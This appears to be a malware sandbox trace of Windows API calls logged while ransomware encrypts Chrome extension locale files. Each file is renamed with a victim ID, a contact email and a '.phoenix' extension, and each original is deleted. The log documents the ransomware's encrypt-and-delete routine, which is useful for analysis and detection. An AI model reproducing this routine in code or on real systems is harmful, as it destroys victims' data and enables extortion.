	[0255.807] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0255.808] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1511c0) returned 1
	[0255.808] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.808] ReadFile (in: hFile=0x300, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xd9, lpOverlapped=0x0) returned 1
	[0255.809] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0, dwBufLen=0xe0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0) returned 1
	[0255.809] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xe0, lpOverlapped=0x0) returned 1
	[0255.810] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151480) returned 1
	[0255.810] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.810] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0255.810] CryptDestroyKey (hKey=0x151480) returned 1
	[0255.810] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0255.810] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0255.810] CloseHandle (hObject=0x300) returned 1
	[0255.810] CloseHandle (hObject=0x2b4) returned 1
	[0255.810] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json")) returned 1
	[0255.812] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0255.812] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0255.812] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=260) returned 1
	[0255.812] CloseHandle (hObject=0x2b4) returned 1
	[0255.812] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json")) returned 0x20
	[0255.812] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.812] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0255.812] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0255.813] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0255.813] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0255.813] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1511c0) returned 1
	[0255.813] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.813] ReadFile (in: hFile=0x2b4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x104, lpOverlapped=0x0) returned 1
	[0256.000] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110, dwBufLen=0x110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110) returned 1
	[0256.000] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x110, lpOverlapped=0x0) returned 1
	[0256.000] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1515c0) returned 1
	[0256.000] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0256.000] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0256.001] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0256.001] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0256.001] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0256.001] CloseHandle (hObject=0x2b4) returned 1
	[0256.001] CloseHandle (hObject=0x300) returned 1
	[0256.001] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json")) returned 1
	[0256.106] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0256.106] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0256.106] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=221) returned 1
	[0256.106] CloseHandle (hObject=0x300) returned 1
	[0256.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json")) returned 0x20
	[0256.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.107] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0256.107] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0256.107] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0256.107] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0256.107] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151500) returned 1
	[0256.108] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0256.108] ReadFile (in: hFile=0x300, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xdd, lpOverlapped=0x0) returned 1
	[0256.109] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0, dwBufLen=0xe0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0) returned 1
	[0256.109] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xe0, lpOverlapped=0x0) returned 1
	[0256.110] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1513c0) returned 1
	[0256.110] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0256.110] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0256.110] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0256.110] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0256.110] CryptDestroyKey (hKey=0x151500) returned 1
	[0256.110] CloseHandle (hObject=0x300) returned 1
	[0256.110] CloseHandle (hObject=0x2b4) returned 1
	[0256.110] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json")) returned 1
	[0256.111] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0256.112] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0256.112] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=279) returned 1
	[0256.112] CloseHandle (hObject=0x2b4) returned 1
	[0256.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json")) returned 0x20
	[0256.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.112] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0256.113] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0256.113] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0256.113] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0256.113] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151780) returned 1
	[0256.113] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0256.113] ReadFile (in: hFile=0x2b4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x117, lpOverlapped=0x0) returned 1
	[0256.114] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x120, dwBufLen=0x120 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x120) returned 1
	[0256.114] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x120, lpOverlapped=0x0) returned 1
	[0256.116] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151040) returned 1
	[0256.116] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0256.116] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0256.116] CryptDestroyKey (hKey=0x151040) returned 1
	[0256.116] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0256.117] CryptDestroyKey (hKey=0x151780) returned 1
	[0256.117] CloseHandle (hObject=0x2b4) returned 1
	[0256.117] CloseHandle (hObject=0x300) returned 1
	[0256.117] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json")) returned 1
	[0256.135] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0256.135] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0256.135] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=235) returned 1
	[0256.135] CloseHandle (hObject=0x300) returned 1
	[0256.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json")) returned 0x20
	[0256.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.135] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0256.136] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0256.136] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0256.136] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0256.136] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151500) returned 1
	[0256.136] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0256.136] ReadFile (in: hFile=0x300, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xeb, lpOverlapped=0x0) returned 1
	[0256.137] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0, dwBufLen=0xf0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0) returned 1
	[0256.137] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf0, lpOverlapped=0x0) returned 1
	[0256.138] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151180) returned 1
	[0256.138] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0256.138] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0256.138] CryptDestroyKey (hKey=0x151180) returned 1
	[0256.138] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0256.138] CryptDestroyKey (hKey=0x151500) returned 1
	[0256.138] CloseHandle (hObject=0x300) returned 1
	[0256.138] CloseHandle (hObject=0x2b4) returned 1
	[0256.138] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json")) returned 1
	[0256.139] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
